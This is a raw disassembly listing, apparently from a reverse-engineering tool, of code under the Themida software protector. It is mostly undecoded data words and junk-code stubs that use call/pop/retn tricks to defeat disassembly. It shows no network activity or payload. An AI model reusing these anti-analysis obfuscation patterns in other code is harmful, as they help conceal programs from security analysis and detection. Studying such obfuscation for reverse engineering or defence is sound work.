		dd 0BA830F61h, 0F000001h, 0B60FFBB7h, 860FD8h, 0BA000000h
		dd 6, 10E9h, 10A07000h,	5A4312F8h, 24B68820h, 0BD530936h
		dd 6AC38B2Ch, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 6E04C357h, 6604E8C1h, 6AE2F7h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 0D2AA53C3h, 0A095BFA3h, 0FB8B7D8Fh, 6AD82Bh,	3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 6A5883C3h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 0CC48C352h, 4C5AD703h,	2B60DDEBh
		dd 0FE880FD8h, 0E9000000h, 5, 0A32E1D13h, 7B9BBh, 9D890000h
		dd 60B0161h, 8900C183h,	0B0B759Dh, 0FD93B06h, 0D886h, 0F7BF0F00h
		dd 8BD98C66h, 4C1F6F3h,	8E840Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 10DEDCC3h
		dd 10B9956h, 0F9C1293h,	95FFF3B7h, 60B18EDh, 1619B58Bh
		dd 0BE5B060Bh, 45DD506Bh, 0B70FC32Bh, 8343DFFh,	860F0000h
		dd 44h,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h
		dd 20C35040h, 8B80902Fh, 0B07D9BDh, 9E906h, 5EFA0000h
		dd 9068D610h, 0E901F5A3h, 45h, 6860Fh, 0BD8B0000h, 60B05F1h
		dd 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 8634D0C3h, 1FD1BD8Bh, 0EE9060Bh, 0F5000000h
		dd 20E41E7Fh, 0A0122F32h, 1EBBDC62h, 8BC38B48h,	4CBE66D8h
		dd 8585C705h, 0D7060B29h, 6A7054E3h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 8B1AC353h
		dd 0F9BF0FC0h, 3385BD81h, 7D0060Bh, 850F0000h, 59h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 95C35646h, 884E0CC8h
		dd 0FF072864h, 0B338585h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 8B66CB44h
		dd 0BE9F8h, 0E45F0000h,	9624793h, 8029B6C7h, 85B5FF24h
		dd 60060B33h, 3AC81B9h,	0D5858B3Fh, 61060B13h, 5344BE66h
		dd 32DD95FFh, 0DE81060Bh, 239D0EE5h, 52006A90h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 8C34A6B2h
		dd 5D0F17A4h, 0BD0BCCEBh, 60B1B25h, 0EE9h, 0ECA69A00h
		dd 1F61F8D5h, 0EA416981h, 8B2A278Fh, 0B23F5B5h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 854C9C5Eh, 0BF2E9899h, 0F58EA52h, 0B58BFB8Bh, 60B29C1h
		dd 8E9FA8Bh, 0D3000000h, 258EBADCh, 31B8295Eh, 0B059595h
		dd 0A19D8906h, 0E8060B07h, 0Bh,	0A6CCFDD8h, 9C77383Eh
		dd 0F9ED717h, 895EF8BFh, 0B09159Dh, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 19834F15h
		dd 12E9490Ch, 0A6000000h, 0A909BC5Dh, 0C0776CB2h, 8BFE04Dh
		dd 7A84256Ch, 0FDB5038Fh, 8B060B1Fh, 52006AFEh,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0A1E9ED9Bh
		dd 1FFFFF8h, 0B0E9DB5h,	66C18B06h, 0EBC61DBEh, 4, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 6CE2D339h, 0DCE2A3C7h, 8B66E93Bh, 53006AFBh,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 66E72C2Ah
		dd 0A51AF781h, 38D0Fh, 0B70F0000h, 68BF66F3h, 0A9858D56h
		dd 0F060B28h, 198Eh, 14E900h, 35F50000h, 2025D009h, 780F8C6Dh
		dd 9BF55D09h, 0CB9D87C5h, 66501C93h, 489F88Bh, 3DBD0324h
		dd 6A060B06h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 8DB13963h, 0F5703DFh, 68Eh, 0D9BD8B00h
		dd 5F060B15h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 3977ABC3h, 0DB0D0C1Dh, 0D68166C5h
		dd 858D350Ch, 60EF737h,	3870Fh,	0BF0F0000h, 5C083FBh, 13E8h
		dd 23985400h, 0E9D5DFCFh, 614CD86Fh, 0D357D0EBh, 594E5F00h
		dd 5250905Fh, 7D1BBF66h, 0CE8310Fh, 0AB000000h,	15EEF1A1h
		dd 36FF46B8h, 0E8BB6F42h, 5, 0BF467806h, 5A5F5F1Eh, 66535058h
		dd 905EF18Bh, 7E8h, 8634D000h, 32EE44DAh, 5EFE8B66h, 6A006Ah
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 0A0B303C3h, 6A006AF9h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 3252C355h, 0BF665B79h
		dd 95FFFB53h, 60B2F21h,	2149BD8Bh, 9D8D060Bh, 60EA7B0h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 30C35646h
		dd 0D6C7E93Dh, 0FF0E7F65h, 12E9D3h, 0C3DF0000h,	195B8046h
		dd 4621E8B4h, 8F149CC6h, 4D34EDA1h, 66D85FFh, 6A060Bh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 0E90EE7C3h, 7A2h, 0E8h, 0ED815D00h, 60EF741h, 81CF8B60h
		dd 0D60809DFh, 0BD816108h, 60B3385h, 7D0h, 162860Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 6F01C3h, 0BB1D4EDBh,	0DE879h, 2B930000h, 0EA5AADBFh
		dd 1B2736CAh, 0F3203F9h, 8B5FFBBFh, 0B13E99Dh, 0E381FC06h
		dd 100h, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 15h,	3BC35141h, 0F98B66D4h, 0BF1B70Fh, 83850FDBh, 83000000h
		dd 0EF52DBDh, 840F0006h, 21h, 12E9h, 12B68E00h,	0CF60E681h
		dd 60BAD6D2h, 95032A53h, 0E93DD78Ch, 8Ch, 81A0EDBEh, 2D85C72Dh
		dd 1060EF5h, 2B000000h,	0B30E5B5h, 72E906h, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 0E9D40DC3h, 0Ah, 0B0505797h,	89357576h, 0FE94422h, 70000000h
		dd 3BDA1789h, 0B009D5FFh, 0C5AA3CE9h, 85C7D5B0h, 60EF52Dh
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_57B90F
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57B90F	proc near		; CODE XREF: Themida_:0057B907p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_57B90F	endp

; ---------------------------------------------------------------------------
		popf
		sahf
		dec	eax
		mov	esp, 8B6CBA4Ah
		mov	ebp, 60B1221h
		lea	ebx, [ebp+60B13E9h]
		push	0
		push	eax
		call	sub_57B93D
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57B93D	proc near		; CODE XREF: Themida_:0057B935p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_57B93D	endp

; ---------------------------------------------------------------------------
		db 77h,	8Ah, 9Ah
; ---------------------------------------------------------------------------
		mov	esi, [ebp+60B1A35h]
		and	dword ptr [ebx], 0FFFFFEFFh
		mov	esi, [ebp+60B0C71h]
		mov	[ebp+60B01E9h],	ecx
		mov	bx, ds
		mov	esi, ebx
		test	bl, 4
		jz	loc_57B9AF
		jl	loc_57B981
		add	si, 0EC4Dh


loc_57B981:				; CODE XREF: Themida_:0057B976j
		call	dword ptr [ebp+60B18EDh]
		push	eax
		mov	edi, 505C0F2Fh
		mov	[esp], eax
		push	0
		push	edi
		call	sub_57B99B
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57B99B	proc near		; CODE XREF: Themida_:0057B993p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_57B99B	endp

; ---------------------------------------------------------------------------
		db 58h
		db 3Dh,	1, 0CDh
; ---------------------------------------------------------------------------


loc_57B9AF:				; CODE XREF: Themida_:0057B970j
		jmp	loc_57BDB5
; ---------------------------------------------------------------------------
		mov	[ebp+60B0139h],	ecx
		or	edi, 20E60DC0h
		mov	al, 0
		push	0
		push	eax
		call	sub_57B9CD
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57B9CD	proc near		; CODE XREF: Themida_:0057B9C5p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_57B9CD	endp

; ---------------------------------------------------------------------------
		db 16h,	0C5h, 66h
; ---------------------------------------------------------------------------
		mov	edi, 70E64E44h
		push	0
		push	edx
		call	sub_57B9F0
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57B9F0	proc near		; CODE XREF: Themida_:0057B9E8p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_57B9F0	endp

; ---------------------------------------------------------------------------
		retf	0E47Ch
; ---------------------------------------------------------------------------
		db 0DEh
		dd 0A395E868h, 0D59589E8h, 0E4060B12h, 0FF28B71h, 0ABBED8B6h
		dd 0BA0D7324h, 6, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 17h,	8EC35141h, 8B2D3394h, 0B0415B5h, 0C1C38B06h, 6A04E8h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 0F7D04BC3h, 54C0A895h, 0F766F9FAh, 0FA8BF9E2h, 6AD82Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 8D2951C3h, 60B0841h,	241C8950h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 5DC35646h, 4C35F612h, 3385B5FFh
		dd 0BD89060Bh, 60B24B5h, 32DD95FFh, 6A060Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 4D77EFC3h
		dd 0ADE6A43Dh, 419589DBh, 0B0060B13h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
		dd 32128186h, 15E98529h, 9529060Bh, 60B103Dh, 6A70E6h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 2FCFF3C3h, 3008C349h, 81B654ACh, 933100CFh, 8DB58915h
		dd 0E4060B03h, 0DD853171h, 3C060B02h, 4E830F61h, 6A000002h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 89EBC351h, 0B00D5B5h, 0D8B60F06h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0DFC35141h, 85295702h
		dd 60B063Dh, 6BAh, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 0B6E6AFAFh, 8BCC923Ah
		dd 4DB58BC3h, 89060B0Ch, 0B1595B5h, 4E8C106h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0B6C35545h, 0BE66938Ah
		dd 0F7666556h, 55006AE2h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 2B933F8Fh, 7D9D89D8h
		dd 58060B17h, 880FD82Bh, 179h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 29C35242h, 811DEE89h, 930F52E7h
		dd 1D958938h, 0B9060B33h, 7, 0FE9h, 279CA700h, 48CE9F91h
		dd 7AD3F14Ch, 421FCCE4h, 0BE00C183h, 4A45218Ch,	860FD93Bh
		dd 125h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 14h,	0E7C35040h, 6AD98C66h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 274DC351h, 0EBD57178h
		dd 8A0FF084h, 0Ch, 68D0Fh, 880F0000h, 0
; ---------------------------------------------------------------------------
		test	cl, 4
		jz	loc_57BDA7
		and	edi, [ebp+60B2881h]
		call	dword ptr [ebp+60B18EDh]
		mov	[ebp+60B0C19h],	ebx
		pop	ebx
		push	0
		push	ebp
		call	sub_57BD0B
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57BD0B	proc near		; CODE XREF: Themida_:0057BD03p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_57BD0B	endp

; ---------------------------------------------------------------------------
		db 0FEh
; ---------------------------------------------------------------------------
		pop	ss
		stc
		inc	edi
		clc
		inc	ebx
		mov	eax, 0BE98C174h
		mov	bh, 56h
		scasd
		dec	ebp
		sub	eax, ebx
		push	0
		push	eax
		call	sub_57BD37
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57BD37	proc near		; CODE XREF: Themida_:0057BD2Fp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_57BD37	endp

; ---------------------------------------------------------------------------
		cmpsb
		dec	ecx
		les	eax, [ecx+66h]
		mov	edi, ecx
		mov	[ebp+60B17D9h],	esi
		cmp	eax, 834h
		jbe	loc_57BDA7
		push	0
		push	esi
		call	sub_57BD6A
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57BD6A	proc near		; CODE XREF: Themida_:0057BD62p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_57BD6A	endp

; ---------------------------------------------------------------------------
		dw 0B9A1h
; ---------------------------------------------------------------------------
		mov	si, 0DD78h
		jmp	loc_57BDB5
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_57BD90
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57BD90	proc near		; CODE XREF: Themida_:0057BD88p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_57BD90	endp

; ---------------------------------------------------------------------------
		dd 89993459h
		db 0FEh, 67h, 78h
; ---------------------------------------------------------------------------


loc_57BDA7:				; CODE XREF: Themida_:0057BCE7j
					; Themida_:0057BD59j
		mov	eax, eax
		jnb	loc_57BDB5
		mov	esi, [ebp+60B2E61h]


loc_57BDB5:				; CODE XREF: Themida_:loc_57B9AFj
					; Themida_:0057BD80j ...
		mov	eax, ebx
		mov	ebx, eax
		push	0
		push	esi
		call	sub_57BDC4
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57BDC4	proc near		; CODE XREF: Themida_:0057BDBCp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_57BDC4	endp

; ---------------------------------------------------------------------------
		or	ecx, edi
		mov	dword ptr [ebp+60B00A1h], 3F5E9953h
		push	0
		push	ebx
		call	sub_57BDEB
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57BDEB	proc near		; CODE XREF: Themida_:0057BDE3p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_57BDEB	endp

; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------
		adc	ch, dl
		mov	[ebp+60B0571h],	eax
		mov	eax, eax
		mov	[ebp+60B0D51h],	edx
		cmp	dword ptr [ebp+60B3385h], 7D0h
		jnz	loc_57BE2F
		mov	edi, [ebp+60B212Dh]
		mov	esi, 56E1FCD3h
		inc	dword ptr [ebp+60B3385h]
		cld
		cmc


loc_57BE2F:				; CODE XREF: Themida_:0057BE16j
		push	dword ptr [ebp+60B3385h]
		push	esi
		jmp	loc_57BE47
; ---------------------------------------------------------------------------
		db 22h
		dd 54680A82h, 5E153C82h
		db 0D9h, 64h, 6Bh
; ---------------------------------------------------------------------------


loc_57BE47:				; CODE XREF: Themida_:0057BE36j
		pop	esi
		or	[ebp+60B08ADh],	ebx
		call	dword ptr [ebp+60B32DDh]
		pusha
		movsx	edi, cx
		xor	[ebp+60B0AD1h],	edx
		popa
		nop
		push	0
		push	ebp
		call	sub_57BE6B
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57BE6B	proc near		; CODE XREF: Themida_:0057BE63p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_57BE6B	endp

; ---------------------------------------------------------------------------
		pop	esi
		sub	al, 0BBh
		mov	[ebp+60B0425h],	ecx
		mov	[ebp+60B152Dh],	esi
		push	0
		push	ebx
		call	sub_57BE95
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57BE95	proc near		; CODE XREF: Themida_:0057BE8Dp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_57BE95	endp

; ---------------------------------------------------------------------------
		db 0DCh, 9Eh, 79h
		dd 0ED7AF27Fh, 6A1197FFh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 1424C355h, 7D8D01B7h
		dd 89060B07h, 0B31B5BDh, 0F6BF0F06h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 0D7C35141h,	7A51BE60h, 858B5BAFh
		dd 60B2349h, 12958D89h,	0F561060Bh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 0CC35545h, 598D89ABh, 29060B2Eh
		dd 0B2A75B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 0DA8BED8Eh, 0B1BD8BD7h, 51060B08h
		dd 2AB5B58Bh, 0FE9060Bh, 93000000h, 0EB04BEEDh,	6A1759F5h
		dd 0E2B756B6h, 0E95ED7A8h, 0FFFFF864h, 2414EF81h, 0C18B2C6Fh
		dd 0F3DB589h, 4EB060Bh,	0
; ---------------------------------------------------------------------------
		mov	edi, edx
		push	0
		push	ebp
		call	sub_57BF9D
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57BF9D	proc near		; CODE XREF: Themida_:0057BF95p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_57BF9D	endp

; ---------------------------------------------------------------------------
		db 65h,	0B5h, 4Bh
		dd 0EBFBF09Ah, 8E91F72h, 0DB000000h, 7F642D43h,	8D0EAAF7h
		dd 0B28A985h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 5AEC6B8h,	2EFDBD31h, 0E950060Bh
		dd 12h,	118D7B58h, 0F3511AFBh, 0C48EEB87h, 4D6548Ch, 48995C3h
		dd 1D958924h, 8B060B18h, 6A006AF8h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 0B1BC356h
		dd 0EE8h, 0AA698800h, 9F508C00h, 0CCE34AF7h, 5E97554Ch
		dd 0B9F3D9BFh, 8D006A15h, 0F00D685h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 0B5E88862h
		dd 2BD531D0h, 1CBF6649h, 5C0832Eh, 85F3BF66h, 24048950h
		dd 0B870Fh, 0BE600000h,	613EA69Bh, 0D0DABA66h, 0F006A61h
		dd 688h, 71F78100h, 6A464DCAh, 56006A00h, 3E8h,	0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 8BD7BA37h
		dd 8B60FFE4h, 0B01959Dh, 5D952B06h, 61060B27h, 2F2195FFh
		dd 6A060Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 0EF2E51C3h, 8180CA04h, 0C56CCBC7h, 0D5BD8B44h
		dd 8D060B0Bh, 0EA7B09Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 0B52B1AAEh, 60B0B25h
		dd 0D3FFFA8Bh, 8FC0BE66h, 0DE9h, 86951D00h, 5E3B1B99h
		dd 0D10B49E7h, 85FF865Ch, 60B066Dh, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 0A2C35141h,	0A9F9D11Eh, 0F3A3E6C2h
		dd 20B9BD8Bh, 0E6E9060Bh, 0E8000008h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 60F00E0h
		push	0
		push	eax
		call	sub_57C196
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57C196	proc near		; CODE XREF: Themida_:0057C18Ep

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_57C196	endp

; ---------------------------------------------------------------------------
		dw 524Bh
		dd 13A7176Ch, 293DB58Bh, 0BD81060Bh, 60B3385h, 7D0h, 185860Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 8B104BC3h, 0B0719B5h, 6D9D8B06h, 6A060B2Ah
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 41B8C355h, 80E852Bh, 0F874395h, 8Eh, 37D4BE00h
		dd 0E3815316h, 100h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 14h, 1CC35040h, 850FDB0Bh,	94h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 67C35747h, 7FF68145h
		dd 0BE4BC1EAh, 4E0B731Ah, 0FEE8BD83h, 0F00060Eh, 2A84h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 3AF8680Eh, 830Fh, 67E90000h, 0C7000000h
		dd 0EFEE885h, 106h, 0EE800h, 0EC7B0000h, 375C3058h, 0A186EDCBh
		dd 13ED4646h, 68E0Fh, 0B5890000h, 60B08C9h, 38E95Fh, 0BD0B0000h
		dd 60B0DC9h, 0FEE885C7h, 60Eh, 6A0000h,	3E850h,	58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 1B3EDBC3h
		dd 0F78BA846h, 645B50Bh, 9D8D060Bh, 60B2A6Dh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0EBC35242h, 0E4A752DCh
		dd 0BB256D5Bh, 55B589A1h, 81060B03h, 0FFFEFF23h, 61BD89FFh
		dd 66060B16h, 6ADB8Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 14E981C3h, 96000000h, 59865575h
		dd 0C3E4CF82h, 7D7CB9B5h, 46B5AEF6h, 8BE73112h,	0B069DB5h
		dd 4C3F606h, 37840Fh, 85010000h, 60B0051h, 18ED95FFh, 8166060Bh
		dd 0BFF022DFh, 5C0F2AD0h, 9474BF50h, 48940D7h, 81B58B24h
		dd 0E9060B2Eh, 0Dh, 6B2246C5h, 0DFD34495h, 4DA9BA09h, 4B4E9AFh
		dd 8B0F0000h, 1Ch, 11E8h, 816B1E00h, 0C1D2703Dh, 0A7A7EB4Eh
		dd 6BC24C23h, 8166D9F5h, 5EF9D5EEh, 953100B0h, 60B080Dh
		dd 71E470E6h, 7E9h, 1E42FF00h, 0A3DB8371h, 89D8B60Fh, 0B087D9Dh
		dd 6BA06h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 66D143C3h, 351CDF81h, 870FC38Bh
		dd 6, 12CD8D89h, 0E8C1060Bh, 52006A04h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0CC391406h
		dd 0D485A922h, 7DBD333Bh, 60060B28h, 12E9h, 2299CF00h
		dd 0FF3692F4h, 0EE603FA6h, 61BD4696h, 0FAD506Ah, 68Bh
		dd 699D8900h, 61060B10h, 6AE2F766h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 9D38C352h
		dd 0F8B70FC6h, 6AD82Bh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 6554B1C3h, 32A19D89h, 5093060Bh
		dd 0BACE8B60h, 34EA81EFh, 6A9361h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 0BD8B5FC3h, 60B1161h
		dd 0DE99D29h, 0B5FF060Bh, 60B3385h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 95C35141h, 0EA052693h, 32DD95FFh
		dd 6A060Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 0EDA838C3h, 0E8687135h, 0Dh, 0D2619536h
		dd 0D1A3CC68h, 7D604404h, 0F6D681F2h, 5E321C75h, 11E8h
		dd 0CCD29D00h, 0E70619ADh, 7B690B21h, 0EDE2DA4Ch, 0ACBF5237h
		dd 5E059B3Ch, 6A00B0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 0DE17EDC3h, 6CDD3F79h, 95EF8166h
		dd 0FC70E66Fh, 6A71E4h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 0EEF49EC3h, 99239E2h, 0F613C97h
		dd 29183h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 0DDBD33C3h, 29060B06h, 0B0FFD9Dh
		dd 0D8B60F06h, 0B19D8960h, 0B8060B28h, 0DDEDDFAh, 0BF0F5661h
		dd 6BA5EF2h, 6A000000h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 70AEC352h, 86F894FDh
		dd 63FDCC6h, 0CE8h, 0A4605500h,	0E8C68A9Bh, 411F2133h
		dd 0BD895F40h, 60B1FC9h, 9589C38Bh, 60B0699h, 6604E8C1h
		dd 0A650F781h, 6AE2F766h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 41C6C357h, 0D82BE929h
		dd 311DB58Bh, 6A58060Bh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 58F4C357h, 67DABB28h
		dd 95B52354h, 2B060B02h, 0A7880FD8h, 6A000001h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 0DF43C356h, 0EE8E7539h, 0A6460114h, 21BD8960h, 61060B10h
		dd 7B9F8h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 663FC6C3h, 662579BFh, 0C183FA8Bh
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 6B2DA878h, 0FEFAFEEh, 380h, 0F3BF0F00h
		dd 860FD93Bh, 11Ah, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 0BAC35343h, 295E258Eh, 8C665F57h, 53006AD9h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 983655A5h, 0C1F68165h, 0C9840F04h, 0E8000000h, 8, 24BE0DC1h
		dd 0F2C2FDBEh, 1785B529h, 0FF5F060Bh, 0B18ED95h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 998E266Ah, 5C92AA93h, 0F5BE199h, 488h, 0BBE6600h, 81C32B22h
		dd 91AF19DEh, 8343D67h,	860F0000h, 6Ch,	0EE9h, 0BE0C1800h
		dd 0C3958815h, 64D7BDF4h, 0E9C4F2D9h, 56h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0CBC35343h, 12E8D1h
		dd 0E8090000h, 0CABEBB3Ch, 4CF2282h, 0B9E70E2Ah, 0D8D82BDEh
